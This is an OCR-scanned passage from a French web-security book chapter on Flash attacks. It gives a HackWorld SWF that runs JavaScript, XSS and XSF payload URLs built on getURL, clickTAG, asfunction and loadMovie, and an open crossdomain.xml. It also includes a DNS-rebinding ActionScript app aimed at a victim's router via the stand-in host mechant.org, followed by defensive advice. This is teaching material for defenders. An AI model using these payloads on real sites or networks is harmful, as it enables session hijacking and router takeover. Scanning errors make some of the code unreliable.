ActionScript Compiler) et le decompilateur ActionScript Flare de nolwrap. 

MTASC est compatible avec les versions 6, 7 et 8 de Flash (les fichiers binaires sont 
appeles SWF, animations Flash ou applications Flash). II est disponible sur le site http:// 
www.mtasc.org. 

Voici un programme de hacking simple en Flash : 

class HackWorld { 

static function niain(args) { 
van attackCode : String = "alert(l)"; 
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getURL( "JavaScript : " + attackCode); 

} 

} 

Bien entendu, I'utilisateur malveillant peut placer n'importe quel code JavaScript dans 
attackCode. Comme pour les exemples du Chapitre 2, nous supposons que le code 
d'attaque est simplement alert ( 1 ) . Cette invocation montre que nous pouvons executer 
un code JavaScript quelconque. Pour de plus amples informations concemant le code 
JavaScript malveillant, consultez les Chapitres 2 et 4. 

Pour compiler HackWorld, installez MTASC, enregistrez le code source precedent dans 
le fichier HackWorld . as et compilez-le a I'aide de la commande suivante : 

mtasc -swf HackWorld . swf -main -header 640:480:20 -version 7 HackWorld. as 

Elle cree un fichier binaire SWF version 7 nomme HackWorld . swf. 

Un assaillant peut se servir de ce SWF pour une attaque XSS en injectant le contenu 
HTML suivant sur un site vulnerable : 

<embed src="http: //mechant.com/HackWorld.swf " width="640" height="480"> 
</embed> 

Ou bien celui-ci : 

<obi ect type= "applicat ion /x- Shockwave-flash " 

data="http: //mechant.com/HackWorld.swf " width="640" height="480" > 
<param name=" movie" value=" http : / /mechant . com /HackWorld . swf "> 
</obi ect> 

Le code JavaScript est execute dans le domaine du site vulnerable. Cette methode est 
toutefois une version compliquee de 1' attaque XSS car un assaillant aurait sans doute 
plutot choisi d'injecter directement le code JavaScript entre des balises de script. Nous 
verrons des attaques plus interessantes un peu plus loin. 

Le complement de MTASC se nomme Flare. Cet outil decompile des fichiers SWF 
pour produire un code source ActionScript raisonnablement lisible. Apres avoir tele- 
charge Flare depuis la page http://www.nowrap.de/flare.html et I'avoir installe, 
r execution de la commande 

flare HackWorld . swf 

cree un fichier HackWorld . fir qui contient le code ActionScript suivant : 

movie ' HackWorld . swf ' { 

// flash 7, total frames: 1, frame rate: 20 fps, 640x480 px, compressed 
movieClip 20480 Packages . HackWorld { 
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#initclip 

if ( IHackWorld) { 
_global.HackWorld = function () {}; 

van v1 = _global.HackWorld. prototype; 
_global.HackWorld.main - function (args) { 

var v3 = ' alert ( 1 ) ' ; 

getURL( 'JavaScript : ' + v3, '_self'); 

}; 

ASSetPropFlags(v1 , null, 1); 

} 

#endinitclip 

} 

frame 1 { 

HackWorld.main(this) ; 

} 

} 

Flare a genere un code ActionScript lisible et fonctionnellement equivalent a 
HackWorld . swf . 

Puisque vous etes a present familier de MTASC et de Flare, examinons les attaques que 
nous pouvons mener avec du code JavaScript. 

XSS et XSF via des applications Flash 

Au Chapitre 2 nous avons explique que les fondements d'une attaque XSS se trouvaient 
dans I'absence de validation des entrees de I'utilisateur sur les serveurs. Ainsi, un 
assaillant peut injecter du contenu HTML qui contient du code JavaScript malveillant. 
L' injection HTML est due a un defaut de programmation sur le serveur qui permet aux 
assaillants de mettre en place une attaque XSS. Cependant, les attaques XSS peuvent 
egalement etre menees par I'intermediaire d'une application Flash cote client. Les atta- 
ques XSS via des applications web se produisent lorsque les entrees des utilisateurs 
dans I'application Flash ne sont pas correctement validees. Le script s'execute sur le 
domaine qui delivre I'application Flash. 

A I'instar des developpeurs cote serveur, les developpeurs Flash doivent valider les 
entrees des utilisateurs fournies a leurs applications Flash, sinon ils courent le risque 
de subir des attaques XSS via ces applications. Malheureusement, tous les deve- 
loppeurs Flash ne procedent pas ces controles. II existe done un tres grand nombre 
de failles XSS dans les applications Flash, y compris celles generees automati- 
quement. 
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La recherche des failles XSS dans les applications Flash est potentiellement plus simple 
que dans les applications web cai^ les assaillants peuvent decompiler les applications 
Flash et rechercher les problemes de securite dans le code source, au lieu de tester en 
aveugle les applications web cote serveur. 

Prenons par exemple 1' application Flash suivante qui accepte des entrees de I'utilisateur : 
class VulnerableMovie { 

static var app : VulnerableMovie; 

function VulnerableMovie ( ) { 
_root .createTextField( "tf" ,0, 100, 100,640,480) ; 

if (_root . userinputi != null) { 
getURL(_root.userinput1 ) ; 

} 

_root .tf . html = true; // false par defaut. 
_root .tf . htmlText = "Salut " + _root.userinput2; 
if (_root . userinputS != null ) { 
_root . loadMovie (_root . user inputs) ; 

} 

} 

static function main(mc) { 
app = new VulnerableMovie () ; 

} 

} 



Imaginons que ce code provienne d'un SWF telecharge et que nous I'ayons decompile. 
Cette application Flash prend trois entrees definies par I'utilisateur - userinputi, 
userinput2 et userinputS - au travers des parametres d'URL indiques dans la balise 
obiect : 

<object t y pe="applicat ion /x- Shockwave -flash" data="http: //example. com/ 
VulnerableMovie . swf ?userinput2=mec" height="480" width="640"> 
<param name="movie" 

value="http : / /example . com /VulnerableMovie . swf ?userinput2=mec"> 
</obi ect> 

II est egalement possible d'utiliser le parametre f lashvars : 

<obiect t y pe= "applicat ion /x- Shockwave -flash" data="http: / /example . com/ 
VulnerableMovie. swf " height="480" width="640"> 

<param name=" movie" value=" http : / /example . com /VulnerableMovie . swf "> 
<param name="f lashvars" value="userinput2=mec"> 
</obi ect> 
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L'acces aux entrees de I'utilisateur se fait au travers de plusieurs objets dans 1' applica- 
tion Flash, comme root, levelO et d'autres. Supposons que toutes les variables non 
precisees puissent etre definies avec des parametres d'URL. 

Cette application Flash affiche un message de bienvenue a userinput2. Si 
userinputi est definie, I'utilisateur est envoye vers I'URL indiquee par userinputi . 
Si root . userinputS est precisee, I'application Flash charge une autre application 
Flash. 

Un assaillant peut exploiter toutes ces entrees definissables par I'utilisateur pour mener 
une attaque XSS. 



Attaques XSS basees sur getURL() 



Popularite : 


4 


Simplicite : 


7 


Impact : 8 


Evaluation du risque : 


8 



Etudions tout d'abord userinputi . Cette variable est initialisee par sa presence dans les 
variables d'entree de Flash, mais non initialisee par I'application Flash. Contrairement 
a ce que pourrait faire penser son nom, la variable userinputi peut tres bien ne pas etre 
destinee a contenir les entrees de I'utilisateur ; dans ce cas, userinputi n'est qu'une 
variable non initialisee. Si elle est initialisee a I'aide d'un parametre d'URL, par 
exemple : 

http : / /example . com/VulnerableMovie . swf?user input 1 
=JavaScript%3Aalert%281%29 

alors, la fonction getURL() indique au navigateur de charger I'URL Java 
Script : alert (1 ) qui execute le code JavaScript dans le domaine d'hebergement de 
I'application Flash. 



Attaques XSS via clickTAG 



Popularite : 


6 


Simplicite : 


9 


Impact : 8 


Evaluation du risque : 


8 
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La faille precedente peut sembler evidente, rare et/ou facile a eviter. C'est loin d'etre le 
cas. Flash possede une variable speciale nommee clickTAG. Con9ue pour les publicites 
Flash, elle permet aux annonceurs de savoir oil est affichee leur publicite. La plupart des 
agences publicitaires imposent que les publicites ajoutent le parametre d'URL click 
TAG et executent getURL(clickTAG) ! Voici une banniere type avec une balise HTML 
embed : 

<embed src= " http : / /adnetwork . com/SomeAdBanner . swf ?clickTAG=http : / / 
adnetwork . com/track?http : / /example . com"> 

Ou bien encore avec une balise obj ect : 

<obiect type= "applicat ion /x- Shockwave-flash" 

data=" http://adnetwork.com/SomeAdBanner.swf" width="640" height="480" > 
<param name= "movie " value= " http : / /adnetwork . com/SomeAdBanner . swf " > 
<param name="f lashvars" value=" 

clickTAG=http : / /adnetwork . com/track?http : / /example . com"> 
</obi ect> 

En 2003, Scan Security Wire a note qu'une mauvaise validation de clickTAG avant 
I'execution de getURL(clickTAG) pouvait permettre a un assaillant d'effectuer une atta- 
que XSS sur le domaine qui heberge le SWF (dans cet exemple, adnetwork.com) avec 
rURL suivante : 

http : / /adnetwork . com/SomeAdBanner . swf ?clickTAG=JavaScript : alert ( 1 ) 

Si vous developpez des publicites en Flash, assurez-vous que clickTAG commence par 
http: avant d'executer getURL(clickTAG) : 

if (ClickTAG. substr(0, 5) "http:") { 
getURL( ClickTAG) ; 

} 

Attaques XSS via TextField.htmlText et TextArea.htmlText 



Popularite : 


2 


Simplicite : 


5 


Impact : 8 


Evaluation du risque : 


8 



Etudions a present userinput2 dans le code de VulnerableMovie. Par defaut, les 
TextField acceptent uniquement du texte brut, mais en fixant html a true, les 
developpeurs peuvent placer du contenu HTML dans un champ de texte ; ils 
peuvent toujours affecter du contenu HTML a des zones de texte (TextArea). 
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L' Utilisation des fonctionnalites HTML limitees de Flash est une pratique courante 
chez les developpeurs. Si le texte du TextField provient des entrees de I'utilisateur, 
comme dans I'exemple precedent, un assaillant peut injecter du HTML et du JavaS- 
cript quelconques. L'injection d'un contenu HTML est relativement simple. Par 
exemple, le code : 

http : / /example . com/VulnerableMovie . swf ?userinput2=%3Ca+href %3D%22 

iavascript%3Aalert%281%29%22%3Ecliquer+ici+pour+ 

%C3%AAtre+pirat%C3%A9%3C/a%3E 

ajoute le contenu HTML suivant : 

<a href="JavaScript:alert(1 ) ">cliquer ici pour etre pirate</a> 

Si I'utilisateur clique sur le lien "cliquer ici pour etre pirate", I'assaillant peut executer 
du code JavaScript malveillant sur le domaine qui heberge le fichier SWF. 

D'autre part, il est possible d'injecter du contenu HTML qui execute automatiquement 
du code JavaScript, au lieu d'attendre que I'utilisateur clique sur un lien. Pour cela, il 
suffit d' employer le gestionnaire de protocole asfunction:. II s'agit d'un gestionnaire 
propre au greffon du lecteur Flash qui ressemble au gestionnaire de protocole Java 
Script: en cela qu'il permet d'executer une fonction ActionScript ai^bitraire de la 
forme suivante : 

asfunction : nomFonction , parametrel , parametre2, ... 

Le chargement de asfunction:getURL,JavaScript:alert(1 ) executera la fonction 
ActionScript getURL ( ) , qui demande au navigateur de charger une URL. Cette URL est 
JavaScript : alert ( 1 ), qui execute le code JavaScript dans le domaine qui heberge le 
fichier SWF. 

Si Ton fixe userinputi a <img src="asf unction : getURL, JavaScript : alert (1 )/ / 
. i pg " >, nous tentons de charger une image, mais 1' image est une fonction ActionScript 
qui execute inevitablement du code JavaScript dans le navigateur. Notez que Flash 
permet aux developpeurs de charger uniquement des fichier s JPEG, GIF, PNG et SWF. 
Pour cela, il verifie I'extension du fichier. Afin de contourner ce controle, un assaillant 
peut simuler une extension de fichier en ajoutant le commentaire JavaScript / / . j pg. 

Pour executer ce code JavaScript, il suffit d'attirer un utilisateur vers I'URL suivante : 

http : / /example . com/VulnerableMovie . swf ?userinput2=pwn3d%3Cimg+src%3D%22 
asf unction%3AgetURL%2Ciavascript%3Aalert%281%29// . ipg%22%3E 

Cette attaque a ete decrite initialement en 2007 par Stefano Di Paola de Minded Secu- 
rity. Les professionnels de la securite doivent examiner avec attention les trouvailles de 
ce modeste chercheur qui decouvre sans cesse des choses etonnantes. 
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Un assaillant peut egalement exploiter le fait que Flash traite les images, les videos et 
les sons de maniere identique, en injectant <img src="http : / /mechant . org/ 
HackWorld . swf ? . j pg " >, oil HackWorld . swf contient du JavaScript malveillant. Cette 
methode charge HackWorld . swf dans le domaine du SWF vulnerable et conduit a la 
meme compromission que I'injection basee sur asf unction. 

Attaques XSS via loadMovieO et d'autres fonctions de chargement d'URL 



Popularite : 


3 


Simplicite : 


7 


Impact : 8 


Evaluation du risque : 


8 



Dans le code de VulnerableMovie, si la variable userinput3 est definie, I'invocation 
loadMovie( root . userinputS) a lieu. Un assaillant peut charger n'importe quelle 
video ou URL de son choix. Par exemple, le chargement de I'URL asf unction: 
getURL, JavaScript : alert ( 1 )/ / peut conduire a une attaque XSS. Voici I'URL 
complete pour une attaque : 

http : / /example . com/VulnerableMovie . swf ?userinput3=asf unction%3AgetURL%2C 
JavaScript%3Aalert%281%29// 

Les caracteres // places a la fin de I'URL d' attaque ne sont pas indispensables pour 
exploiter VulnerableMovie, mais ils sont tres pratiques pour mettre en commentaires 
les donnees concatenees a I'entree de I'utilisateur dans I'application Flash, par exemple 
lorsque cette application contient une ligne semblable a la suivante : 

_root . loadMovie (_root . baseUrl + "/movie.swf " ) ; 

Ce probleme de securite ne conceme pas seulement loadMovie (). Dans Flash Player 
9.0 r47, quasiment toutes les fonctions qui chargent des URL sont vulnerables aux 
variables basees sur asf unction, notamment les suivantes : 

■ loadVariables ( ) ; 

■ loadMovie ( ) ; 

■ getURLO ; 

■ loadMovie ( ) ; 

■ loadMovieNum( ) ; 

■ FScrollPane.loadScrollContentO ; 



■ LoadVars . load ( ) ; 
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■ LoadVars . send ( ) ; 

■ LoadVars . sendAndLoad 0 ; 

■ MovieClip.getURL( ) ; 

■ MovieClip.loadMovie( ) ; 

■ NetConnection . connect 0 ; 

■ NetServices . createGatewayConnection ( ) ; 

■ NetSteam. play ( ) ; 

■ Sound . loadSound 0 ; 

■ XML. load 0 ; 

■ XML.sendO ; 

■ XML.sendAndLoadO- 

Vous devez egalement faire attention aux variables qui acceptent des URL definies par 
I'utilisateur, comme TextFormat . url. 

Cette attaque est extremement frequente dans les applications Flash, y compris les 
animations Flash generees automatiquement a partir de diaporamas, de videos et 
d'autres contenus. Certaines de ces fonctions sont obligees d' accepter le gestionnaire 
de protocole asf unction. Par consequent, ce probleme risque de perdurer encore quelque 
temps. 

XSF via loadMovie et d'autres fonctions de chargement de SWF, 
d'images et de sons 



Popularite : 


2 


Simplicite : 


7 


Impact : 8 


Evaluation du risque : 


8 



Un assaillant peut egalement charger son propre fichier SWF par I'intermediaire de 
userinputS, par exemple 1' application HackWorld presentee au debut de ce chapitre. 
Voici un exemple d'URL d' attaque : 

http : / /example . com/VulnerableMovie . swf ?userinput3=http%3A/ /mechant .org/ 
HackWorld. swf%3F 
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L'assaillant doit placer le SWF de HackWorld sur son site web (disons mechant.org) et 
une strategic de securite faible sur le site. Auti^cmcnt dit, il doit disposer du fichier 
http: //mechant.org/crossdomain.xml suivant : 

<cross- domain -policy> 

<allow-access-f rom domain^"*" /> 
</cross-domain-policy> 

Le lecteur Flash commence par demander la strategic de securite crossdomain.xml au 
site d'attaque. Apres avoir constate que I'acces a HackWorld lui est permis, Vulnera 
bleMovie charge HackWorld qui, a son tour, execute le code JavaScript dans le domaine 
qui heberge VulnerableMovie (example.com, non mechant.org). 

Stefano Di Paolo nomme cette methode XSF (Cross Site Flashing). XSF a le meme 
effet que XSS. Autrement dit, cette attaque charge HackWorld dans le domaine du SWF 
vulnerable, puis HackWorld execute son code JavaScript malveillant dans le domaine 
example.com. 

Le caractere %3F, qui correspond au point d' interrogation (?), place a la fin de cette 
chaine d'attaque n'est pas indispensable pour exploiter VulnerableMovie, mais il joue 
le role de commentaire. Supposons que le code vulnerable soit le suivant : 

loadMovie (_root . baseUrl + "/movie.swf " ) ; 

Un assaillant pousserait le texte concatene /movie . swf dans un parametre d'URL, ce 
qui revient a mettre en commentaire le texte concatene. 

Attaques XSF basees sur les redirections d'URL 



Popularite : 


1 


Simplicite : 


5 


Impact : 8 


Evaluation du risque : 


8 



Supposons que le site example.com heberge un fichier SWF qui correspond au code 
suivant : 

loadMovie (" http :/ /example . com/movies/ " + _root.movieId + ".swf?other 
=inf o" ) ; 

Supposons egalement que example . com possede un redirecteur ouvert a http : / / exam 
ple.com/redirect qui redirige vers n'importe quel domaine. Un assaillant peut se 
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servir du redirecteur de example.com pour mettre en place une attaque en utilisant la 
chaine d'attaque suivante pour movield : 

. . / redirect=http : / /mechant . org/HackWorld . swf%3F 
loadMovie( ) charge alors I'URL suivante : 

http: //example. com/movies/ . . / redirect=http : / /mechant . org/HackWorld . swf%3F 
. swf ?other=inf 0 

EUe equivaut a celle-ci : 

http : / /example . com/ redirect=http : / /mechant . org/HackWorld . swf%3F . swf ?other 
=inf 0 

Cette URL redirige vers la suivante : 
http : / /mechant . org/HackWorld . swf 

Par consequent, le SWF vulnerable charge toujours HackWorld dans le domaine exam 
pie . com ! Avec I'encodage des URL, I'URL d'attaque ressemble a la suivante : 

http : / /example . com/ vulnerable . swf ?movieId= . . / redirect%3D 
http%3A/ /mechant . org/HackWorld . swf%253F 

Attaques XSS dans les SWF generes automatiquement et les controleurs 



Popularite : 


1 


Simplicite : 


5 


Impact : 8 


Evaluation du risque : 


9 



De nombreuses applications generent automatiquement des fichiers, par exemple au 
travers des entrees de menus "Enregistrer en SWF" ou "Exporter en SWF". La sortie 
obtenue est generalement constitute d'un ou plusieurs fichiers SWF et HTML, qui 
seront publics sur le site web de I'entreprise. Malheureusement, plusieurs de ces appli- 
cations, dont Adobe Dreamweaver, Adobe Connect, Macromedia Breeze, Techsmith 
Camtasia, Autodemo et InfoSoft FusionChart, creent des fichiers SWF comportant les 
vulnerabilites XSS decrites dans ce chapitre. Depuis le 28 octobre 2007, on estime a 
500 000 le nombre de SWF vulnerables qui affectent un pourcentage considerable de 
sites Internet importants. Vous devez done faire attention a tous les SWF que vous 
hebergez, pas seulement a ceux que vous developpez. 

Adobe apportera une certaine protection contre les attaques XSS basees sur asf una 
tion dans la prochaine version du lecteur Flash, mais de nombreux SWF crees avec les 
applications mentionnees precedemment resteront exploitables. Par ailleurs, il existe 
certainement bien d'autres applications qui generent des SWF vulnerables. Pour de 
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plus amples informations concernant cette menace, consultez la note de vulnerabilite 
US-CERT Vm2493 37. 

Secu riser les applications Flasti 

Les developpeurs Flash et ActionScript doivent comprendre que les applications Flash 
non sures ont autant d'effet sur leurs utilisateurs que 1' absence de securite d'une appli- 
cation web cote serveur. Pour proteger leurs applications, ces developpeurs doivent 
prendre les mesures suivantes : 

■ valider ou nettoyer les entrees des utilisateurs dans les parametres d'URL et les 
f lashvars destines aux SWF ; 

■ verifier qu'il n'existe aucune redirection dans le domaine qui heberge ces SWF : 

■ profiter des attributs de securite facultatifs pour Flash dans les balises <obiect> et 
<embed> ; 

■ livrer des SWF generes automatiquement a partir d'une adresse IP numerotee ou 
dans le domaine dans lequel les failles XSS n'ont pas d'importance. 

La validation et le nettoyage des entrees s'averent un defi, tant pour les applications 
Flash que pour les applications web cote serveur. Voici quelques recommandations pour 
les developpeurs : 

■ reduire le nombre de parametres d'URL ou de f lashvars definis par I'utilisateur 
dans les fonctions qui chargent des URL ou utilisent htmlText ; 

■ lorsque des parametres definis par I'utilisateur sont employes dans des fonctions qui 
chargent des URL, verifier que les URL commencent par http: // ou https: // et 
qu'elles ne contiennent aucune attaque par traversee de repertoires. Mieux encore, 
prefixer les parametres par votre propre domaine, par exemple : 

loadMovie (" http :/ /www. example . com /" + 

directoryTraversalSafe(_root.someRelativeUrl) ) ; 

■ remplacer par des entites HTML toutes les donnees definies par I'utilisateur avant 
de les placer dans un objet TextField ou TextArea. Par exemple, remplacer au 
moins toutes les occurrences de < par &lt ; et de > par &gt ; . 

En compliant vos applications avec Flash version 8 ou ulterieure, vous pouvez benefi- 
cier des nouvelles fonctionnalites de securite, comme les attributs swliveconnect, 
allowNetworking et allowScriptAccess. Excepte en cas d'absolue necessite, Live- 
Connect, le reseau et I'acces aux scripts doivent etre interdits. Voici une balise 
<obi ect> plus sure, que nous recommandons : 
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<obiect 

classid="clsid:d27cdb6e-ae6d-1 1cf-96b8-444553540000" 

codebase="http: //f pdownload.macromedia.com/pub/shockwave/cabs/flash/ 
swf lash . cab#version=9, 0,0,0" 

ty pe="applicat ion /x- Shockwave- flash" 

data=" /MonApplicationFlash . swf " 

height=" 640" 

width="480"> 
<param name="allowScriptAccess" value="never"> 
<param name="allowNetworking" value="none"> 
<param name="swliveconnect" value="f alse"> 
<param name="movie" value=" /MonApplicationFlash . swf "> 
</obi ect> 

Si r application est compilee avec Flash 8 ou une version ulterieure, elle ne pourra pas 
executer du code JavaScript ni creer des connexions reseau. 

Attaques intranet basees sur Flash : DNS Rebinding 



Popularite : 


6 


Simplicite : 


2 


Impact : 


7 


Evaluation du risque : 


8 



L'attaque de type "DNS rebinding" evite totalement les pare-feu. Elle fait partie des 
attaques "attrape-nigaud". L'internaute est appate vers un site de confiance sur I'lnter- 
net, mais, au dernier moment, le site Internet change son adresse IP pour un site intranet 
interne. Le changement, ou reliaison (rebinding), se fait en changeant 1' adresse IP d'un 
nom de domaine controle par I'assaillant. Avant d'examiner en detail cette attaque, 
voyons le role joue par le DNS dans le Web. 

Le DNS en bref 

Le DNS peut etre compare a un annuaire. Historiquement, lorsque vous souhaitez 
contacter voti^e ami, par exemple la superstar Rich Cannings, vous recherchez son nom 
dans r annuaire afin de trouver son numero de telephone, puis vous I'appelez. Le fonc- 
tionnement du Web n'est pas tres different. Lorsqu'un utilisateur souhaite aller sur un 
site web, par exemple temp.mechant.org, le navigateur et/ou le systeme d' exploitation 
doit trouver le "numero" d' adresse IP de I'ordinateur nomme temp.mechant.org. Pour 
cela, il consulte le DNS (Domain Name System). 
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Les gens enregistrent des numeros de telephone dans des listes de contacts et des 
annuaires personnels afin de ne pas avoir a les rechercher continuellement dans 
I'annuaire global. Le DNS emploie egalement un mecanisme de cache, qui presente 
une certaine duree de vie (TTL, Time-To-Live). Plus la valeur de TTL est grande, plus le 
couple nom de domaine/adresse IP reste longtemps dans le cache. Si la duree de vie 
vaut 0, 1'adresse IP n'est jamais placee dans le cache. 

En revanche, les annuaires et le DNS different au moins sur un point : un serveur, 
comme temp.mechant.org, peut changer son adresse IP a tout moment, avec n'importe 
quelle valeur, tandis que Rich ne peut pas demander a changer son numero de telephone 
selon ses envies. Si Rich pouvait changer son numero a la volee, il pourrait faire la 
mauvaise blague suivante : 

Rich : Salut, comment 9a va ? 

Le pire ennemi : Pourquoi tu me salues ? Tu me hais parce que j'ai rencart avec la 
fille qui te plait. 

Rich : Pas du tout, ce n'est plus le cas. EUe ne m'interesse plus. On pourrait sortir ce 
soir. 

Le pire ennemi : Ah bon. OK. Quel est ton numero ? 
Rich : Regarde dans I'annuaire. II y est. 

A ce moment-la. Rich pourrait changer son numero et choisir le 911-1234'. Plus tard, 
dans la soiree, son pire ennemi rechercher a son numero de telephone et le composera. 
La conversation telephonique pourrait alors etre celle-ci : 

Operateur du 91 1 : 91 1, bonjour. Quel est le probleme ? 
Le pire ennemi : Hein. . . Euh. . . Est-ce Rich est la ? 
Operateur du 91 1 : Non. Vous etes au 91 1. 
"clic" (Le pire ennemi raccroche) 
"Dring, dring..." 

Les parents du pire ennemi : Alio ? 

Operateur du 911 : Bonjour. Votre fils s'amuse a appeler le 911. 
Les parents du pire ennemi : C'est terrible. II est pourtant si gentil. 

En fin de compte, le pire ennemi de Rich est prive de sortie et Rich peut rencontrer la 
fille qui lui plait. Tout le monde est content, meme apres avoir modifie les numeros de 
telephone. 



1. N.D.T. : Aux Etats-Unis, le prefixe 911 correspond au numero de la police. 
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Retour au DNS Rebinding 

Le DNS Rebinding emploie une attaque semblable, avec des resultats bien differents. 
L'assaillant persuade le navigateur, le systeme d' exploitation et/ou les greffons du navi- 
gateur qu'il peut faire confiance a un nom de domaine, puis l'assaillant change 
I'adresse IP du nom de domaine approuve au dernier moment afin que la victime se 
connecte en toute confiance a une adresse differente. 

La securite web ne se fonde pas sur des adresses IP, mais sur des noms de domaines. Par 
consequent, meme si I'adresse IP a change discretement, la confiance s'applique a 
toutes les adresses IP associees au nom de domaine. La victime devient done un 
mandataire entre le site web demoniaque sur 1' Internet et toute adresse IP et port sur 
son intranet. 

Nous allons expliquer 1' attaque en detail, en utilisant un exemple dans lequel un 
assaillant prend le controle d'un routeur de la victime. 

Supposons qu'une victime visite le site mechant.org pour regarder des photos de 
chatons craquants. La victime saisit mechant.org et appuie sur la touche Entree. 
Le navigateur et le systeme d' exploitation consultent le serveur DNS pour mechant.org 
et obtiennent I'adresse IP 1.1.1.3 avec une valeur de TTL elevee. L' adresse IP du site 
mechant.org ne changera pas dans cet exemple. 

Ensuite, le navigateur telecharge plusieurs elements a partir de mechant.org, comme 
une page HTML, des photos de chatons et une application Flash cachee. Le detourne- 
ment se fait vers temp.mechant.org dans 1' application Flash masquee, dont voici le code 
source : 

import flash.net.*; 

class DnsPinningAttackApp { 

static var app:DnsPinningAttackApp; 
static var sock:Socket; 
static var timerrTimer; 

function DnsPinningAttackApp( ) { 
// Phase 1 : I'appat. 
// Cette requete est envoyee a 1.1.1.3. 

flash . system. Security . loadPolicyFile ( "http : / /temp . mechant . org/ " 
+ "MyOpenCrossDomainPolicy .xml" ) ; 

// Phase 2 : le basculement. 

// Attendre 5 secondes afin d'etre certain que Flash a bien charge 
// la strategie de securite, puis ce programme peut converser avec 
// temp.mechant.org. 

// Attendre egalement 5 secondes pour que le serveur DNS 
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II de temp.mechant.org 

// change I'adresse de 1.1.1.3 en 192.168.1.1. 
// Executer connectToRouter( ) dans 10 secondes. 
timer = new Timer(5000+5000, 1); 

timer. addEventListener(TimerEvent. TIMER, connectToRouter ) ; 
timer. start( ) ; 

} 

private function connectToRouter(e:TimerEvent) : void { 
sock = new Socket ( ) ; 

// Une fois connecte au routeur, lancer I'attaque dans 
// attackRouter( ) 

sock.addEventListener( Event. CONNECT, attackRouter ); 

// Phase 3 : se connecter apres le basculement. 

// Tenter d'etablir une connexion par socket a temp.mechant.org, 

// 192.168.1 .1. 

sock.connect( "temp.mechant.org" ,80) ; 

} 

private function attackToRouter(e:TimerEvent) : void { 

// Nous disposons a present d'une connexion par socket au routeur 
// de 1 ' utilisateur, a I'adresse 192.168.1.1 sur le port 80 (http). 

// Nous laissons la suite a 1 ' imagination du lecteur. Notez que cette 

// application Flash est originaire de mechant.org et qu'elle 

// peut done rappeler mechant.org 

// avec toutes les informations qu'elle a pu voler. 

} 

static function main(mc) { 

app = new DnsPinningAttackApp( ) ; 

} 

} 

L' application Flash charge une strategic de securite au cours de la "Phase 1 : 
I'appat" en commen9ant par emettre une requete DNS pour temp.mechant.org. Le 
serveur DNS pour le domaine mechant.org, qui est controle par I'assaillant, repond 
avec I'adresse 1.1.1.3 et un TTL a 0. Ainsi, I'adresse IP est employee une seule fois 
et n'est pas placee dans le cache. Ensuite, le lecteur Flash telecharge le fichier 
MyOpenCrossDomainPolicy.xml, qui contient une strategic de securite ouverte, a 
partir de I'adresse 1.1.1.3. L' application Flash autorise desormais les connexions a 
temp.mechant.org. 
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Dans la "Phase 2 : le basculement", I'application Flash patiente pendant 10 secondes, 
en utilisant la classe Timer. Elle attend que le serveur DNS pour mechant.org change 
d'adresse IP (de 1.1.1.3 a 192.168.1.1). Nous pouvons parfaitement supposer que le 
serveur web de mechant.org et le DNS communiquent pour cela. 

Lorsque la minuterie est ecoulee, I'application Flash invoque la fonction connectTo 
Router ( ), qui cree une nouvelle connexion par socket. Dans la "Phase 3 : se connecter 
apres le basculement", I'application Flash veut creer une autre connexion a 
temp.mechant.org. Puisque I'adresse IP de temp.mechant.org n'est pas dans le cache du 
DNS, I'ordinateur de la victime emet une autre requete DNS. Cette fois-ci, I'adresse IP 
de temp.mechant.org est 192.168.1.1. 

A ce moment-la, les connexions a temp.mechant.org sont approuvees et autorisees, 
mais I'adresse IP de temp.mechant.org correspond au routeur de la victime, a I'adresse 
192.168.1.1 ! 

Le lecteur Flash poursuit avec la connexion par socket a I'adresse 192.168.1.1 sur le 
port 80. Une fois la connexion etablie, I'application Flash peut interagir avec le routeur 
de la victime car le lecteur Flash croit toujours qu'elle communique avec 
temp.mechant.org. Notez que I'assaillant pourrait s'etre connecte a n'importe quelle 
adresse IP et n'importe quel port. 

Enfin, I'application Flash converse avec le routeur dans la fonction attackToRou 
ter(). Vous pouvez imaginer que cette fonction tente d'ouvrir une session sur le 
routeur en construisant des requetes HTTP avec des identifiants et des mots de passe 
par defaut. Si elle y parvient, I'application Flash peut ouvrir un controle d'acces 
autorisant la configuration du routeur depuis 1' Internet, pas uniquement depuis 
I'intranet. Vous pouvez imaginer que I'application Flash envoie I'adresse IP Internet 
(non I'adresse IP interne 192.168.1.1) a mechant.org. Ainsi, I'assaillant peut desor- 
mais obtenir un controle total du routeur de la victime. La Figure 9.1 detaille les 
differentes phases de cette attaque. 

Notez que cette attaque n'est pas specifique a Flash. Elle peut egalement etre menee en 
Java et en JavaScript. Vous la trouverez sous les noms "Anti-DNS Pinning" et "Anti- 
Anti-Anti-DNS Pinning". Plusieurs personnes pretendent avoir cree cette attaque. Vous 
trouverez de plus amples informations concernant le DNS Rebinding sur le site http:// 
crypto.stanford.edu/dns/. 
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Machine de Tutilisateur 



a 192.168.1.101 



Serveur DNS pour 
mechant.org a 1 .1 .1 .2 



Serveur HTTP pour 
mechant.org a 1 .1 .1 .3 



Routeur de I'utilisateur 



a 192.168.1.1 



Oil se trouve 
www.mechant.org ' 



www.mechant.org est 
a I'adresse 1.1.1.2. 



Merci de m'envoyer 
/index. html pour www.mechant org. 



Bien monsieur (la page web retournee 
contient un SWF malveillant). 



I 
I 

/~>, Le navigateur de Tutlllsateur charge un greffon Flash 
malveillant qui souhaite acceder a temp mechant org. 
Oil se trouve | 
temp. mechant org ? i 
temp.mechant.org est a I'adresse 1.1.1 3, 
mais je vais la changer tres bientot. 



I 

Puis-je acceder a vos services ? 

1 

Bien sur. Faites ce que vous voulez. 




Fixez I'entree DNS de 

temp mechant org a 192.168.1 .1 . 



/>j Greer une connexion par socket a 
temp.mechant.org sur le port 80. 

I 

Ou se trouve i 
temp.mechant.org ? J 



temp.mechant.org est 
a I'adresse 192.168.1.1. 



Tenter de pirater ce routeur en utilisant un nom d'utilisateur et un mot de passe par 
defaut, puis configurer le routeur pour qu'il puisse etre administre depuis I'Internet. 



Bien monsieur. 



Voici un nouveau routeur. 



Merci bien I 



Figure 9. 1 

Les phases d'une attaque de type DNS Rebinding. 
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Resume 

Flash permet d'attaquer n'importe quelle application web en refletant les strategies de 
securite inter-domaines. Les assaillants peuvent egalement profiter de la validation 
incorrecte des entrees dans des applications Flash pour mener des attaques XSS sur le 
domaine qui heberge le fichier SWF vulnerable. II est possible de generer automatique- 
ment des SWF contenant du code vulnerable et pouvant conduire a des attaques XSS 
universelles etendues. Enfin, Flash peut etre employe pour contourner des pare-feu 
grace a des attaques de type DNS Rebinding. 
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Etude de cas 

Modifications de la securite dans Internet Explorer 7 

